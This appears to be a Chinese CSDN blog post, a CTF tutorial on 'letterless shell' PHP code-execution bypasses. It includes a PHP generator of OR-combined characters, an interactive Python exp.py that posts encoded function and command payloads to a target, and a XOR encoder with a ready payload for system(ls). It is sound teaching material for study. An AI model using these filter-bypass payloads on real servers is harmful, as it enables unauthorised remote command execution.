• 详解PHP代码执行漏洞--无字母shell


    代码执行漏洞无字母shell

    题目如下
    在这里插入图片描述
    很明显,这道题过滤了所有的字母和数字
    具体应该怎么做呢?可以利用位操作符凭借可显示字符(本题的原理)
    这么说一头雾水对么?下面来看看具体过程

    或运算

    这里的脚本分为了两个部分,一个是根据题目要求制作出符合题目的拼接可显示字符,另一个就是负责拼接
    rce.php(制作出题目要求字符)

    
    $myfile = fopen("rce.txt", "w");
    $contents = "";
    for ($i = 0; $i < 256; $i++) {
    	for ($j = 0; $j < 256; $j++) {
    		if ($i < 16) {
    			$hex_i = '0' . dechex($i);
    		} else {
    			$hex_i = dechex($i);
    		}
    		if ($j < 16) {
    			$hex_j = '0' . dechex($j);
    		} else {
    			$hex_j = dechex($j);
    		}
    $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; # 这里放题目要求
    		if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg,
    hex2bin($hex_j))) {
    			echo "";
    		} else {
    			$a = '%' . $hex_i;
    			$b = '%' . $hex_j;
    			$c = (urldecode($a) | urldecode($b)); # & | ~ 根据题目选择
    			if (ord($c) >= 32 & ord($c) <= 126) {
    				$contents = $contents . $c . " " . $a . " " . $b . "\n";
    			}
    		}
    	}
    }
    fwrite($myfile, $contents);
    fclose($myfile);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    exp.py(拼接字符)

    import requests
    import urllib
    from sys import *
    import os
    os.system("php rce.php") #没有将php写入环境变量需手动运行
    def action(arg):
    	s1=""
    	s2=""
    	for i in arg:
    		f=open("rce.txt","r")
    		while True:
    			t=f.readline()
    			if t=="":
    				break
    			if t[0]==i:
    				s1+=t[2:5]
    				s2+=t[6:9]
    				break
    		f.close()
    	output="(\""+s1+"\"|\""+s2+"\")" # & | ~ 根据题目选择,和上一个脚本保持一致
    	return(output)
    url = "http://test"
    while True:
    	param=action(input("\n[+] your function:") )+action(input("[+] yourcommand:"))
    	data={
    		'c':urllib.parse.unquote(param)
    	}
    	r=requests.post(url,data=data)
    	print("\n[*] result:\n"+r.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    脚本分享完了,下面介绍具体使用方法
    1 进入当前目录
    2 打开rce.php,这里用vscode举例
    在终端中输入php rce.php
    在这里插入图片描述
    回车后发现当前文件夹多了以一个文本
    在这里插入图片描述
    3 打开exp.py
    在终端输入python exp.py
    在这里插入图片描述
    4 按照自己的意愿输入即可
    在这里插入图片描述

    异或运算

    如果发现上面的脚本无法执行,可以看看这个脚本

    <?php
    $s="ls";
    for($i=0;$i<strlen($s);$i++){
        echo "%".dechex(ord($s[$i])^0xff);
    }
    echo "^";
    for($i=0;$i<strlen($s);$i++){
        echo"%ff";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    修改XXX的位置即可,这里用system(ls)举例子
    system
    在这里插入图片描述
    ls
    在这里插入图片描述
    传参的时候组合一下就可以了(%8c%86%8c%8b%9a%92%ff%ff%ff%ff%ff%ff)(%93%8c%ff%ff)

    如果文章对您有帮助的话,关注贤鱼支持一下吧

  • 相关阅读:
    Os-ByteSec
    27m3氨基酸发酵反应釜设计
    万字详解数据结构——树
    MySQL排序查询
    JavaScript如何打开和使用JavaScript控制台
    【Azure Developer】使用 Microsoft Graph API 获取 AAD User 操作示例
    [python][flask] Flask 入门(以一个博客后台为例)
    Direct3D网格(一)
    VS2015+windows10编译配置Ceres库
    6. 测度论-期望及其性质
  • 原文地址:https://blog.csdn.net/m0_66623111/article/details/126773031